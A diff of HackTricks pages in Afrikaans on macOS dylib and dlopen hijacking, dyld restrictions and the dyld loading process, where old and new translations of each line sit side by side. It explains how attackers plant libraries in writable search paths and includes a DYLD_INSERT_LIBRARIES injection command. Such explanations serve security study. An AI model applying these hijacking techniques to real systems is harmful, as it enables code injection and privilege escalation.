* As **`LC_LOAD_DYLIB`** `@rpath/library.dylib` bevat en **`LC_RPATH`** `/application/app.app/Contents/Framework/v1/` en `/application/app.app/Contents/Framework/v2/` bevat. Beide folders sal gebruik word om `library.dylib` te laai. As die biblioteek nie in `[...]/v1/` bestaan nie en 'n aanvaller dit daar kan plaas om die laai van die biblioteek in `[...]/v2/` te kap, aangesien die volgorde van paaie in **`LC_LOAD_DYLIB`** gevolg word.
* **Vind rpath-paaie en biblioteke** in bineêre met: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
* **Geconfigureer met @rpath**: Mach-O binêre kan die opdragte **`LC_RPATH`** en **`LC_LOAD_DYLIB`** hê. Gebaseer op die **waardes** van daardie opdragte, sal **biblioteke** van **verskillende gidse** gelaai word.
* **`LC_RPATH`** bevat die pades van sommige vouers wat gebruik word om biblioteke deur die binêre te laai.
* **`LC_LOAD_DYLIB`** bevat die pad na spesifieke biblioteke om te laai. Hierdie pades kan **`@rpath`** bevat, wat deur die waardes in **`LC_RPATH`** vervang sal word. As daar verskeie pades in **`LC_RPATH`** is, sal almal gebruik word om die biblioteek te laai. Voorbeeld:
* As **`LC_LOAD_DYLIB`** `@rpath/library.dylib` bevat en **`LC_RPATH`** `/application/app.app/Contents/Framework/v1/` en `/application/app.app/Contents/Framework/v2/` bevat. Beide vouers gaan gebruik word om `library.dylib` te laai.** As die biblioteek nie in `[...]/v1/` bestaan nie, kan 'n aanvaller dit daar plaas om die laai van die biblioteek in `[...]/v2/` te hijack, aangesien die volgorde van pades in **`LC_LOAD_DYLIB`** gevolg word.
* **Vind rpath pades en biblioteke** in binêre met: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
{% hint style="info" %}
**`@executable_path`**: Is die **pad** na die gids wat die **hoof uitvoerbare lêer** bevat.
**`@executable_path`**: Is die **pad** na die gids wat die **hoofd uitvoerbare lêer** bevat.
**`@loader_path`**: Is die **pad** na die **gids** wat die **Mach-O bineêre** bevat wat die laaibevel bevat.
**`@loader_path`**: Is die **pad** na die **gids** wat die **Mach-O binêre** bevat wat die laai opdrag bevat.
* Wanneer dit in 'n uitvoerbare lêer gebruik word, is **`@loader_path`** effektief dieselfde as **`@executable_path`**.
* Wanneer dit in 'n uitvoerbare gebruik word, is **`@loader_path`** effektief die **dieselfde** as **`@executable_path`**.
* Wanneer dit in 'n **dylib** gebruik word, gee **`@loader_path`** die **pad** na die **dylib**.
{% endhint %}
Die manier om **voorregte te eskaleer** deur hierdie funksionaliteit te misbruik, sou in die seldsame geval wees dat 'n **toepassing** wat deur **root** uitgevoer word, op soek is na 'n sekere **biblioteek in 'n sekere gids waar die aanvaller skryfregte het.**
Die manier om **regte te verhoog** deur hierdie funksionaliteit te misbruik, sou in die seldsame geval wees dat 'n **toepassing** wat **deur** **root** uitgevoer word, **soek** na 'n **biblioteek in 'n gids waar die aanvaller skryfrechten het.**
{% hint style="success" %}
'n Goeie **skenner** om **ontbrekende biblioteke** in toepassings te vind is [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) of 'n [**CLI weergawe**](https://github.com/pandazheng/DylibHijack).\
'n Goeie **verslag met tegniese besonderhede** oor hierdie tegniek kan gevind word [**hier**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x).
'n Goeie **scanner** om **ontbrekende biblioteke** in toepassings te vind, is [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) of 'n [**CLI weergawe**](https://github.com/pandazheng/DylibHijack).\
'n Goeie **verslag met tegniese besonderhede** oor hierdie tegniek kan [**hier**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x) gevind word.
{% endhint %}
**Voorbeeld**
@ -133,65 +134,65 @@ Die manier om **voorregte te eskaleer** deur hierdie funksionaliteit te misbruik
## Dlopen Hijacking
{% hint style="danger" %}
Onthou dat **vorige Biblioteekvalideringsbeperkings ook van toepassing is** om Dlopen-hyjacking-aanvalle uit te voer.
Onthou dat **vorige Biblioteek Validasie beperkings ook van toepassing is** om Dlopen hijacking aanvalle uit te voer.
{% endhint %}
Vanaf **`man dlopen`**:
Van **`man dlopen`**:
* Wanneer die pad **geen skuiwekenmerk bevat** nie (m.a.w. dit is net 'n blaar naam), sal **dlopen() soek**. As **`$DYLD_LIBRARY_PATH`** by aanvang ingestel was, sal dyld eers in daardie gids **kyk**. Daarna, as die aanroepende mach-o-lêer of die hoof uitvoerbare spesifiseer 'n **`LC_RPATH`**, sal dyld in daardie gidse **kyk**. Daarna, as die proses **onbeperk** is, sal dyld in die **huidige werksgids** soek. Laastens, vir ouer bineêre lêers, sal dyld 'n paar terugslae probeer. As **`$DYLD_FALLBACK_LIBRARY_PATH`** by aanvang ingestel was, sal dyld in daardie gidse soek, anders sal dyld in **`/usr/local/lib/`** kyk (as die proses onbeperk is), en dan in **`/usr/lib/`** (hierdie inligting is geneem van **`man dlopen`**).
* Wanneer die pad **nie 'n skuins streep karakter bevat nie** (d.w.s. dit is net 'n blaarnaam), **sal dlopen() soek**. As **`$DYLD_LIBRARY_PATH`** by die bekendstelling gestel is, sal dyld eers **in daardie gids kyk**. Volgende, as die aanroepende mach-o lêer of die hoofd uitvoerbare 'n **`LC_RPATH`** spesifiseer, sal dyld **in daardie** gidse kyk. Volgende, as die proses **onbeperk** is, sal dyld in die **huidige werksgids** soek. Laastens, vir ou binêre, sal dyld 'n paar terugval probeer. As **`$DYLD_FALLBACK_LIBRARY_PATH`** by die bekendstelling gestel is, sal dyld in **daardie gidse** soek, anders sal dyld in **`/usr/local/lib/`** kyk (as die proses onbeperk is), en dan in **`/usr/lib/`** (hierdie inligting is geneem van **`man dlopen`**).
1. `$DYLD_LIBRARY_PATH`
2. `LC_RPATH`
3. `CWD`(indien onbeperk)
3. `CWD`(as onbeperk)
4. `$DYLD_FALLBACK_LIBRARY_PATH`
5. `/usr/local/lib/` (indien onbeperk)
5. `/usr/local/lib/` (as onbeperk)
6. `/usr/lib/`
{% hint style="danger" %}
As daar geen skuiwe in die naam is nie, sou daar 2 maniere wees om 'n hyjacking te doen:
As daar geen skuins strepies in die naam is nie, sal daar 2 maniere wees om 'n hijacking te doen:
* As enige **`LC_RPATH`** **skryfbaar** is (maar handtekening word nagegaan, dus hiervoor het jy ook nodig dat die bineêre onbeperk is)
* As die bineêre **onbeperk** is en dan is dit moontlik om iets van die CWD te laai (of een van die genoemde omgewingsveranderlikes te misbruik)
* As enige **`LC_RPATH`** **skryfrechten** het (maar die handtekening word gekontroleer, so hiervoor moet die binêre ook onbeperk wees)
* As die binêre **onbeperk** is en dan is dit moontlik om iets van die CWD te laai (of een van die genoemde omgewingsveranderlikes te misbruik)
{% endhint %}
* Wanneer die pad **lyk soos 'n raamwerk** pad (bv. `/stuff/foo.framework/foo`), as **`$DYLD_FRAMEWORK_PATH`** by aanvang ingestel was, sal dyld eers in daardie gids kyk vir die **raamwerk gedeeltelike pad** (bv. `foo.framework/foo`). Daarna sal dyld die **verskafte pad soek soos dit is** (gebruik die huidige werksgids vir relatiewe paaie). Laastens, vir ouer bineêre lêers, sal dyld 'n paar terugslae probeer. As **`$DYLD_FALLBACK_FRAMEWORK_PATH`** by aanvang ingestel was, sal dyld in daardie gidse soek. Anders sal dit soek in **`/Library/Frameworks`** (op macOS as die proses onbeperk is), dan in **`/System/Library/Frameworks`**.
* Wanneer die pad **soos 'n raamwerk** pad lyk (bv. `/stuff/foo.framework/foo`), as **`$DYLD_FRAMEWORK_PATH`** by die bekendstelling gestel is, sal dyld eers in daardie gids kyk vir die **raamwerk gedeeltelike pad** (bv. `foo.framework/foo`). Volgende, sal dyld die **verskafde pad soos dit is** probeer (met die huidige werksgids vir relatiewe pades). Laastens, vir ou binêre, sal dyld 'n paar terugval probeer. As **`$DYLD_FALLBACK_FRAMEWORK_PATH`** by die bekendstelling gestel is, sal dyld in daardie gidse soek. Anders sal dit in **`/Library/Frameworks`** soek (op macOS as die proses onbeperk is), dan **`/System/Library/Frameworks`**.
1. `$DYLD_FRAMEWORK_PATH`
2. verskafte pad (gebruik die huidige werksgids vir relatiewe paaie indien onbeperk)
2. verskafde pad (met die huidige werksgids vir relatiewe pades as onbeperk)
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
4. `/Library/Frameworks` (indien onbeperk)
4. `/Library/Frameworks` (as onbeperk)
5. `/System/Library/Frameworks`
{% hint style="danger" %}
As 'n raamwerk pad, sou die manier om dit te kap wees:
As 'n raamwerk pad, sal die manier om dit te hijack wees:
* As die proses **onbeperk** is, misbruik die **relatiewe pad vanaf CWD** die genoemde omgewingsveranderlikes (selfs al word nie in die dokumente genoem of die proses beperk is nie, word DYLD\_\* omgewingsveranderlikes verwyder)
* As die proses **onbeperk** is, deur die **relatiewe pad van CWD** die genoemde omgewingsveranderlikes te misbruik (selfs al word dit nie in die dokumentasie gesê nie, as die proses beperk is, word DYLD\_\* omgewingsveranderlikes verwyder)
{% endhint %}
* Wanneer die pad **'n skuiwe bevat maar nie 'n raamwerk pad is** nie (m.a.w. 'n volledige pad of 'n gedeeltelike pad na 'n dylib), kyk dlopen() eerste in (indien ingestel) in **`$DYLD_LIBRARY_PATH`** (met die blaar deel van die pad). Daarna probeer dyld die verskafte pad (gebruik die huidige werksgids vir relatiewe paaie (maar slegs vir onbeperkte prosesse)). Laastens, vir ouer bineêre lêers, sal dyld 'n paar terugslae probeer. As **`$DYLD_FALLBACK_LIBRARY_PATH`** by aanvang ingestel was, sal dyld in daardie gidse soek, anders sal dyld in **`/usr/local/lib/`** kyk (as die proses onbeperk is), en dan in **`/usr/lib/`**.
* Wanneer die pad **'n skuins streep bevat maar nie 'n raamwerk pad is nie** (d.w.s. 'n volle pad of 'n gedeeltelike pad na 'n dylib), kyk dlopen() eers (as dit gestel is) in **`$DYLD_LIBRARY_PATH`** (met die blaardeel van die pad). Volgende, probeer dyld **die verskafde pad** (met die huidige werksgids vir relatiewe pades (maar slegs vir onbeperkte prosesse)). Laastens, vir ouer binêre, sal dyld terugval probeer. As **`$DYLD_FALLBACK_LIBRARY_PATH`** by die bekendstelling gestel is, sal dyld in daardie gidse soek, anders sal dyld in **`/usr/local/lib/`** kyk (as die proses onbeperk is), en dan in **`/usr/lib/`**.
1. `$DYLD_LIBRARY_PATH`
2. verskafte pad (gebruik die huidige werksgids vir relatiewe paaie indien onbeperk)
2. verskafde pad (met die huidige werksgids vir relatiewe pades as onbeperk)
3. `$DYLD_FALLBACK_LIBRARY_PATH`
4. `/usr/local/lib/` (indien onbeperk)
4. `/usr/local/lib/` (as onbeperk)
5. `/usr/lib/`
{% hint style="danger" %}
As daar skuiwe in die naam is en nie 'n raamwerk is nie, sou die manier om dit te kap wees:
As daar skuins strepies in die naam is en dit nie 'n raamwerk is nie, sal die manier om dit te hijack wees:
* As die bineêre **onbeperk** is en dan is dit moontlik om iets van die CWD of `/usr/local/lib` te laai (of een van die genoemde omgewingsveranderlikes te misbruik)
* As die binêre **onbeperk** is en dan is dit moontlik om iets van die CWD of `/usr/local/lib` te laai (of een van die genoemde omgewingsveranderlikes te misbruik)
{% endhint %}
{% hint style="info" %}
Nota: Daar is **geen** konfigurasie lêers om **dlopen soek** te beheer nie.
Nota: Daar is **geen** konfigurasielêers om **dlopen soek** te **beheer** nie.
Nota: As die hoof uitvoerbare lêer 'n **set\[ug]id bineêre of met toestemmings onderteken** is, word **alle omgewingsveranderlikes geïgnoreer**, en slegs 'n volledige pad kan gebruik word ([kontroleer DYLD\_INSERT\_LIBRARIES beperkings](macos-dyld-hijacking-and-dyld\_insert\_libraries.md#check-dyld\_insert\_librery-restrictions) vir meer gedetailleerde inligting)
Nota: As die hoofd uitvoerbare 'n **set\[ug]id binêre of codesigned met regte** is, dan **word alle omgewing veranderlikes geïgnoreer**, en slegs 'n volle pad kan gebruik word ([kyk DYLD\_INSERT\_LIBRARIES beperkings](macos-dyld-hijacking-and-dyld\_insert\_libraries.md#check-dyld\_insert\_librery-restrictions) vir meer gedetailleerde inligting)
Nota: Apple platforms gebruik "universele" lêers om 32-bis en 64-bis biblioteke te kombineer. Dit beteken daar is **geen aparte 32-bis en 64-bis soekpaaie** nie.
Nota: Apple platforms gebruik "universele" lêers om 32-bis en 64-bis biblioteke te kombineer. Dit beteken daar is **geen aparte 32-bis en 64-bis soekpades** nie.
Nota: Op Apple platforms word die meeste OS-dylibs **gekombineer in die dyld-cache** en bestaan nie op die skyf nie. Daarom sal die aanroep van **`stat()`** om vooraf te kyk of 'n OS-dylib bestaan **nie werk nie**. Nietemin, **`dlopen_preflight()`** gebruik dieselfde stappe as **`dlopen()`** om 'n verenigbare mach-o-lêer te vind.
Nota: Op Apple platforms is die meeste OS dylibs **gecombineer in die dyld kas** en bestaan nie op skyf nie. Daarom sal die oproep **`stat()`** om vooraf te kontroleer of 'n OS dylib bestaan **nie werk nie**. Maar, **`dlopen_preflight()`** gebruik dieselfde stappe as **`dlopen()`** om 'n geskikte mach-o lêer te vind.
{% endhint %}
**Kontroleer paaie**
**Kontroleer pades**
Laat ons al die opsies nagaan met die volgende kode:
Kom ons kyk na al die opsies met die volgende kode:
```c
// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
#include <dlfcn.h>
@ -234,27 +235,27 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
return 0;
}
```
As jy dit saamstel en uitvoer, kan jy sien **waar elke biblioteek tevergeefs gesoek is**. Ook kan jy **die FS-logboeke filter**:
As jy dit saamstel en uitvoer, kan jy **sien waar elke biblioteek onsuksesvol gesoek is**. Jy kan ook **die FS-logs filter**:
```bash
sudo fs_usage | grep "dlopentest"
```
## Relatiewe Pad Ontvoering
## Relatiewe Pad Hijacking
Indien 'n **bevoorregte binêre toepassing** (soos 'n SUID of 'n binêre toepassing met kragtige toestemmings) 'n relatiewe pad-biblioteek laai (byvoorbeeld deur `@executable_path` of `@loader_path` te gebruik) en **Biblioteekvalidering gedeaktiveer** is, kan dit moontlik wees om die binêre toepassing na 'n plek te skuif waar die aanvaller die relatiewe pad-gelaaide biblioteek kan **verander en misbruik om kode in die proses in te spuit**.
As 'n **bevoorregte binêre/app** (soos 'n SUID of 'n binêre met kragtige regte) 'n **relatiewe pad** biblioteek laai (byvoorbeeld deur `@executable_path` of `@loader_path` te gebruik) en **Biblioteekvalidasie gedeaktiveer** is, kan dit moontlik wees om die binêre na 'n plek te skuif waar die aanvaller die **relatiewe pad gelaaide biblioteek** kan **wysig**, en dit te misbruik om kode in die proses in te spuit.
## Snoei `DYLD_*` en `LD_LIBRARY_PATH` omgewingsveranderlikes
In die lêer `dyld-dyld-832.7.1/src/dyld2.cpp` is dit moontlik om die funksie **`pruneEnvironmentVariables`** te vind, wat enige omgewingsveranderlike wat **met `DYLD_` begin** en **`LD_LIBRARY_PATH=`** verwyder.
In die lêer `dyld-dyld-832.7.1/src/dyld2.cpp` is dit moontlik om die funksie **`pruneEnvironmentVariables`** te vind, wat enige omgewingsveranderlike wat **begin met `DYLD_`** en **`LD_LIBRARY_PATH=`** sal verwyder.
Dit sal ook spesifiek die omgewingsveranderlikes **`DYLD_FALLBACK_FRAMEWORK_PATH`** en **`DYLD_FALLBACK_LIBRARY_PATH`** vir **suid** en **sgid** binêre lêers na **nul** stel.
Dit sal ook spesifiek die omgewingsveranderlikes **`DYLD_FALLBACK_FRAMEWORK_PATH`** en **`DYLD_FALLBACK_LIBRARY_PATH`** vir **suid** en **sgid** binêre op **null** stel.
Hierdie funksie word vanaf die **`_main`** funksie van dieselfde lêer geroep as dit op OSX gemik word, soos hier:
Hierdie funksie word vanaf die **`_main`** funksie van dieselfde lêer aangeroep as daar op OSX geteiken word soos volg:
```cpp
#if TARGET_OS_OSX
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
pruneEnvironmentVariables(envp, &apple);
```
en daardie booleaanse vlae is ingestel in dieselfde lêer in die kode:
en daardie booleaanse vlae word in dieselfde lêer in die kode gestel:
```cpp
#if TARGET_OS_OSX
// support chrooting from old kernel
@ -285,9 +286,9 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
gLinkContext.allowInsertFailures = false;
gLinkContext.allowInterposing = true;
```
Wat basies beteken dat as die binêre lêer **suid** of **sgid** is, of 'n **RESTRICT** segment in die koppe het, of onderteken is met die **CS\_RESTRICT** vlag, dan is **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** waar en word die omgewingsveranderlikes gesnoei.
Wat basies beteken dat as die binêre **suid** of **sgid** is, of 'n **RESTRICT** segment in die koppe het of dit met die **CS\_RESTRICT** vlag onderteken is, dan is **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** waar en die omgewing veranderlikes word gesnoei.
Merk op dat as CS\_REQUIRE\_LV waar is, sal die veranderlikes nie gesnoei word nie, maar die biblioteekvalidering sal nagaan of hulle dieselfde sertifikaat as die oorspronklike binêre lêer gebruik.
Let daarop dat as CS\_REQUIRE\_LV waar is, dan sal die veranderlikes nie gesnoei word nie, maar die biblioteekvalidasie sal nagaan of hulle dieselfde sertifikaat as die oorspronklike binêre gebruik.
## Kontroleer Beperkings
@ -307,9 +308,9 @@ sudo chmod -s hello
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
```
### Geharde hardloop
### Versterkte tydperk
Skep 'n nuwe sertifikaat in die Sleutelhang en gebruik dit om die binêre lêer te teken:
Skep 'n nuwe sertifikaat in die Sleutelketting en gebruik dit om die binêre te teken:
{% code overflow="wrap" %}
```bash
@ -334,27 +335,31 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
{% endcode %}
{% hint style="danger" %}
Let daarop dat selfs as daar bineêre lêers met vlae **`0x0(none)`** onderteken is, kan hulle dinamies die **`CS_RESTRICT`** vlag kry wanneer hulle uitgevoer word en daarom sal hierdie tegniek nie in hulle werk nie.
Let daarop dat selfs al is daar binaire lêers wat met vlae **`0x0(none)`** onderteken is, kan hulle die **`CS_RESTRICT`** vlag dinamies kry wanneer dit uitgevoer word en daarom sal hierdie tegniek nie in hulle werk nie.
Jy kan nagaan of 'n pros hierdie vlag het met (kry [**csops hier**](https://github.com/axelexic/CSOps)):
Jy kan nagaan of 'n proses hierdie vlag het met (kry [**csops hier**](https://github.com/axelexic/CSOps)):
```bash
csops -status <pid>
```
en kyk dan of die vlag 0x800 geaktiveer is.
{% endhint %}
## Verwysings
* [https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/](https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/)
* [**\*OS Internals, Volume I: User Mode. Deur Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,72 +1,73 @@
# macOS Dyld Prosedure
# macOS Dyld Proses
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basiese Inligting
Die werklike **ingangspunt** van 'n Mach-o binêre lêer is die dinamies gekoppelde, gedefinieer in `LC_LOAD_DYLINKER` is gewoonlik `/usr/lib/dyld`.
Die werklike **toegangspunt** van 'n Mach-o binêre is die dinamies gekoppelde, gedefinieer in `LC_LOAD_DYLINKER` gewoonlik is `/usr/lib/dyld`.
Hierdie koppelaar sal al die uitvoerbare biblioteke moet vind, hulle in geheue in kaart bring en al die nie-luie biblioteke koppel. Eers na hierdie proses sal die ingangspunt van die binêre lêer uitgevoer word.
Hierdie skakelaar sal al die uitvoerbare biblioteke moet vind, dit in geheue kaart en al die nie-lui biblioteke skakel. Slegs na hierdie proses sal die toegangspunt van die binêre uitgevoer word.
Natuurlik het **`dyld`** geen afhanklikhede nie (dit gebruik stelseloproepe en libSystem-uitreksels).
Natuurlik het **`dyld`** geen afhanklikhede nie (dit gebruik syscalls en libSystem uittreksels).
{% hint style="danger" %}
As hierdie koppelaar enige kwesbaarheid bevat, aangesien dit uitgevoer word voordat enige binêre (selfs hoogs bevoorregte) uitgevoer word, sou dit moontlik wees om **bevoorregting te eskaleer**.
As hierdie skakelaar enige kwesbaarheid bevat, aangesien dit uitgevoer word voordat enige binêre uitgevoer word (selfs hoogs bevoorregte), sal dit moontlik wees om **bevoegdhede te verhoog**.
{% endhint %}
### Vloei
### Stroom
Dyld sal deur **`dyldboostrap::start`** gelaai word, wat ook dinge soos die **stapel kanarie** sal laai. Dit is omdat hierdie funksie in sy **`apple`**-argumentvektor hierdie en ander **sensitiewe waardes** sal ontvang.
Dyld sal gelaai word deur **`dyldboostrap::start`**, wat ook dinge soos die **stapel kanarie** sal laai. Dit is omdat hierdie funksie in sy **`apple`** argument vektor hierdie en ander **sensitiewe** **waardes** sal ontvang.
**`dyls::_main()`** is die ingangspunt van dyld en sy eerste taak is om `configureProcessRestrictions()` uit te voer, wat gewoonlik **`DYLD_*`**-omgewingsveranderlikes beperk soos verduidelik in:
**`dyls::_main()`** is die toegangspunt van dyld en sy eerste taak is om `configureProcessRestrictions()` uit te voer, wat gewoonlik **`DYLD_*`** omgewing veranderlikes beperk soos verduidelik in:
{% content-ref url="./" %}
[.](./)
{% endcontent-ref %}
Daarna kaart dit die dyld gedeelde kas wat al die belangrike stelselbiblioteke vooraf koppel en dan kaart dit die biblioteke waarvan die binêre afhanklik is en gaan dan voort op 'n rekursiewe wyse totdat al die benodigde biblioteke gelaai is. Dus:
Dan, dit kaart die dyld gedeelde kas wat al die belangrike stelselsbiblioteke vooraf verbind en dan kaart dit die biblioteke waarop die binêre afhanklik is en gaan voort om rekursief voort te gaan totdat al die nodige biblioteke gelaai is. Daarom:
1. dit begin met die laai van ingevoegde biblioteke met `DYLD_INSERT_LIBRARIES` (indien toegelaat)
2. Dan die gedeelde gekašte een
3. Dan die ingevoerde een
4. Dan gaan dit voort om biblioteke rekursief in te voer
1. dit begin om ingevoegde biblioteke met `DYLD_INSERT_LIBRARIES` te laai (indien toegelaat)
2. Dan die gedeelde gekapte
3. Dan die geïmporteerde
1. &#x20;Dan voort om biblioteke rekursief te importeer
Sodra almal gelaai is, word die **inisialiseerders** van hierdie biblioteke uitgevoer. Hierdie is gekodeer met **`__attribute__((constructor))`** gedefinieer in die `LC_ROUTINES[_64]` (nou verouderd) of deur 'n wyser in 'n afdeling met die vlag `S_MOD_INIT_FUNC_POINTERS` (gewoonlik: **`__DATA.__MOD_INIT_FUNC`**).
Sodra alles gelaai is, word die **initaliseerders** van hierdie biblioteke uitgevoer. Hierdie is gekodeer met **`__attribute__((constructor))`** gedefinieer in die `LC_ROUTINES[_64]` (nou verouderd) of deur pointer in 'n afdeling gemerk met `S_MOD_INIT_FUNC_POINTERS` (gewoonlik: **`__DATA.__MOD_INIT_FUNC`**).
Terminators is gekodeer met **`__attribute__((destructor))`** en is geleë in 'n afdeling met die vlag `S_MOD_TERM_FUNC_POINTERS` (**`__DATA.__mod_term_func`**).
Terminators is gekodeer met **`__attribute__((destructor))`** en is geleë in 'n afdeling gemerk met `S_MOD_TERM_FUNC_POINTERS` (**`__DATA.__mod_term_func`**).
### Stubs
Alle binêre lêers in macOS is dinamies gekoppel. Daarom bevat hulle sekere stubs-afdelings wat die binêre help om na die korrekte kode in verskillende rekenaars en kontekste te spring. Dit is dyld wanneer die binêre lêer uitgevoer word, die brein wat hierdie adresse moet oplos (ten minste die nie-luie eenhede).
Alle binêre in macOS is dinamies gekoppel. Daarom bevat hulle 'n paar stub afdelings wat die binêre help om na die korrekte kode in verskillende masjiene en kontekste te spring. Dit is dyld wanneer die binêre uitgevoer word die brein wat hierdie adresse moet oplos (ten minste die nie-lui).
Sekere stubs-afdelings in die binêre:
Sommige stub afdelings in die binêre:
* **`__TEXT.__[auth_]stubs`**: Wysers vanaf `__DATA`-afdelings
* **`__TEXT.__stub_helper`**: Klein kode wat dinamiese koppeling aanroep met inligting oor die funksie om te roep
* **`__DATA.__[auth_]got`**: Globale Verskuiwingstabel (adresse na ingevoerde funksies, wanneer opgelos, (gebond gedurende laai-tyd aangesien dit gemerk is met die vlag `S_NON_LAZY_SYMBOL_POINTERS`)
* **`__DATA.__nl_symbol_ptr`**: Nie-luie simboolwysers (gebond gedurende laai-tyd aangesien dit gemerk is met die vlag `S_NON_LAZY_SYMBOL_POINTERS`)
* **`__DATA.__la_symbol_ptr`**: Luie simboolwysers (gebond met eerste toegang)
* **`__TEXT.__[auth_]stubs`**: Pointers van `__DATA` afdelings
* **`__TEXT.__stub_helper`**: Klein kode wat dinamiese koppeling aanroep met inligting oor die funksie om te bel
* **`__DATA.__[auth_]got`**: Globale Offset Tabel (adresse na geïmporteerde funksies, wanneer opgelos, (gebind tydens laai tyd soos dit gemerk is met vlag `S_NON_LAZY_SYMBOL_POINTERS`)
* **`__DATA.__nl_symbol_ptr`**: Nie-lui simbool pointers (gebind tydens laai tyd soos dit gemerk is met vlag `S_NON_LAZY_SYMBOL_POINTERS`)
* **`__DATA.__la_symbol_ptr`**: Lui simbool pointers (gebind by eerste toegang)
{% hint style="warning" %}
